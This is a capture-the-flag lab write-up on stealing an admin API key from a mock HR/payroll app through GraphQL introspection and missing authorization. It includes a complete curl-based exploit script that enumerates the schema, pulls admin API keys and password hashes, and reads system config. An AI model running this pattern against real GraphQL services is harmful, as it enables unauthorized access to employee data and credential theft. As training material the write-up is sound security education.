Lab 198 — PayrollSync — Broken Auth via GraphQL Introspection
Lab 198 — PayrollSync — Broken Auth via GraphQL Introspection
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_key_theft, authorization_bypass, graphql_schema_enumeration, introspection_attack
Summary
Task: HR/payroll platform with GraphQL API, given employee credentials. Solution: Used GraphQL introspection to discover adminUsers query, exploited missing authorization to steal admin API key, then accessed system config containing the flag.
Lab 198 — PayrollSync — Broken Auth via GraphQL Introspection — Hackadvisor
Description
PayrollSync is a modern HR and payroll management platform built by SyncWare Solutions. The application lets companies manage employee records, process payroll, and handle team administration through a clean self-service portal. As a security tester, you have been given access to an employee account on the PayrollSync platform. The company uses this tool to manage sensitive HR data including salaries, employee records, and internal configurations. Your objective is to explore how the application communicates with its backend and find a way to access data that should be restricted to administrators only.
Credentials: employee@payrollsync.com / Welcome123! URL: https://66a729c2-21ba-4a30-a5a6-c07f7ddf2467.labs.hackadvisor.io/
English summary: An HR/payroll management platform with GraphQL API. Given employee credentials, the goal is to access admin-restricted data by exploiting GraphQL introspection and broken access control.
Analysis
-
Initial Reconnaissance:
- Target is an Express.js application (X-Powered-By header)
- Found
/graphqlendpoint returns 400 (exists but needs proper request format)
-
Authentication Flow:
- Login page uses fetch API to
/api/auth/login - Returns JWT session cookie containing: id=1, role="employee", department="Engineering"
- Login page uses fetch API to
-
GraphQL Schema Discovery:
- Introspection is enabled (critical misconfiguration for production)
- Discovered sensitive types not exposed in UI:
AdminUser(fields: id, email, password_hash, api_key, role)SystemConfig(fields: key, value, description)
- Found admin-only queries:
adminUsers,allSystemConfig
-
Vulnerability Chain:
- Issue 1: GraphQL introspection enabled in production (information disclosure)
- Issue 2: Broken Access Control — employee role can query admin-only resolvers
- Issue 3: Sensitive data exposure — API keys and password hashes returned in responses
Solution
bash read-only • copy allowed#!/bin/bash # Exploit for PayrollSync GraphQL Broken Access Control TARGET="https://66a729c2-21ba-4a30-a5a6-c07f7ddf2467.labs.hackadvisor.io" # Step 1: Authenticate as employee echo "[*] Logging in as employee..." curl -s -c cookies.txt -X POST "$TARGET/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email":"employee@payrollsync.com","password":"Welcome123!"}' # Step 2: Perform GraphQL introspection to discover schema echo "[*] Enumerating GraphQL schema..." curl -s -b cookies.txt -X POST "$TARGET/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq '.' # Key findings from introspection: # - AdminUser type with fields: id, email, password_hash, api_key, role # - SystemConfig type with fields: key, value, description # - Queries: adminUsers, allSystemConfig # Step 3: Exploit broken authorization - query adminUsers as employee echo "[*] Querying adminUsers with employee credentials..." curl -s -b cookies.txt -X POST "$TARGET/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"{ adminUsers { id email api_key password_hash } }"}' | jq '.' # Response reveals admin API key: # api_key: "swk_live_a8f2e91d4c7b3054ef16c829da47b5e0" # Step 4: Use stolen admin API key to access system config echo "[*] Accessing system config with stolen API key..." ADMIN_KEY="swk_live_a8f2e91d4c7b3054ef16c829da47b5e0" curl -s -b cookies.txt -X POST "$TARGET/graphql" \ -H "Content-Type: application/json" \ -d "{\"query\":\"{ allSystemConfig(api_key: \\\"$ADMIN_KEY\\\") { key value } }\"}" | jq '.'
The server returned system configuration including the flag:
json read-only • copy allowed{ "data": { "allSystemConfig": [ { "key": "secret_flag", "value": "FLAG{REDACTED}" } ] } }